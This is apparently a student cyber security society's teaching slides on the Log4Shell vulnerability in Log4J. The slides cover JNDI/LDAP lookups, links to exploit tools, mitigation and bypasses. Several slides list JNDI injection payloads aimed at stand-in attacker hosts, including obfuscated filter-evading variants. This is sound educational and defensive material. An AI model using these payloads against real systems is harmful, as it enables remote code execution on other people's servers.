UNIVERSITY OF LIVERPOOL

CYBER SECURITY SOCIETY

Log4Shell – Exploiting Log4J

Disclaimer

Anything you learn in these sessions is FOR EDUCATIONAL PURPOSES ONLY and we are NOT RESPONSIBLE FOR YOUR ACTIONS! The tools we will show you aren't illegal but using them against a network you don't own or where you don't have the explicit written permission to use them is HIGHLY ILLEGAL and almost always against the terms of service.

DO NOT UNDER ANY CIRCUMSTANCES USE THE TOOLS AND TECHNIQUES SHOWN AGAINST ANY UNIVERSITY OWNED PRODUCT, WEBSITE OR NETWORK,YOU WILL BE PUNISHED BY THE DEPARTMENT/UNIVERSITY AND COULD BE PROSECUTED IN SOME CASES.

There are hundreds of websites where you can practice these techniques in a safe, legal environment without the risk of causing real damage or facing prosecution.

What is Log4J?

- It is a Java based logging utility written by the Apache foundation
- Super easy way to log activity on a server
  - Almost too easy…
- It is free to use, so it is used EVERYWHERE

So what happened?

- A zero day exploit was found that lead to remote code execution
  - CVE-2021-44228
- Why is this so devastating?
  - On Oracle website – as of 2016 15 billion devices run java
  - Log4J is the most popular logging utility – a large portion of those devices that log will run this
- How does this work?

Understanding Log4J

- Log4J is an open source library that collects and records events occurring

- How is this vulnerable?
  - JNDI – Java Naming and Directory Interface

What is JNDI?

- API that allows Java to look up data and resources via a name
  - Directories
  - Files
  - Etc.

- How is this used for Log4Shell?
  - Using ${<payload>} we can use JNDI to our advantage
  - Why is this bad? – If used to retrieve java class files, it will run them without checking them…

- Non malicious examples:
  - ${java:os} – returns OS type and version
  - ${java:version} – returns java version

Using JNDI with LDAP

- LDAP – Lightweight Directory Access Protocol
  - Allows anyone to locate data about organisations, individuals and resources such as devices in a network and **files in a network**.
- This allows us to access data (in our case class files) from an webserver server using:
  - ${jndi:ldap://<attacker server IP>:1389/<Exploit>}
  - We need to have our LDAP server refer to a webserver we host with the file served

What does this mean for us

- We can execute java class files on a machine, so we have remote code execution
- Not only can we grab information like OS, java version, etc. We can now do things like open applications on the server and better yet, get a shell!

What does an attack look like

- https://github.com/mbechler/marshalsec
- https://github.com/roxas-tan/CVE-2021-44228
- Lets have a look at this in Minecraft!

Mitigation

- UPDATE ANYTHING YOU HAVE THAT USES LOG4J
  - !!!!!!LIKE NOW!!!!!!
- You can also disable lookups:
  - Example in solr: by modifying the `solr.in.sh` file to add the command at the bottom of the file:
    - `SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true“`
- Detecting vulnerable apps is hard, detecting the exploit is often harder so this takes time and will be an issue for some time for a lot of software out on the internet

Bypasses

- CVE-2021-45046 – aka log4shell's little brother
  - This exploit how a check was done after log4j was patched making lookups restricted to only network host
  - The getHost() method in java.net.URI was used to evaluate the host name
  - `${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`
  - getHost() evaluates everything before the '#' which meets the local condition but the JNDI/LDAP resolver evaluates past the # and attempts a remote connection to the malicious LDAP server
  - Although this seems devastating, in the version this is vulnerable to message text lookups are disabled by default

Bypasses

- There are lots of other related CVEs to Log4Shell, here are some examples of other bypasses:
  - `${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}`
  - `${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}`
  - `${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}`
  - `${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/}`
  - `${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}`
  - `${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}`
  - `${${::-j}ndi:rmi://attackerendpoint.com/}`

Resources

- https://tryhackme.com/room/solar
- Minecraft proof of concept - https://youtu.be/7qoPDq41xhQ
- https://youtu.be/Opqgwn8TdlM

- ctf.cybersoc.cf
  - Eliot's logs: Gain access
  - Eliot's logs: Steal them all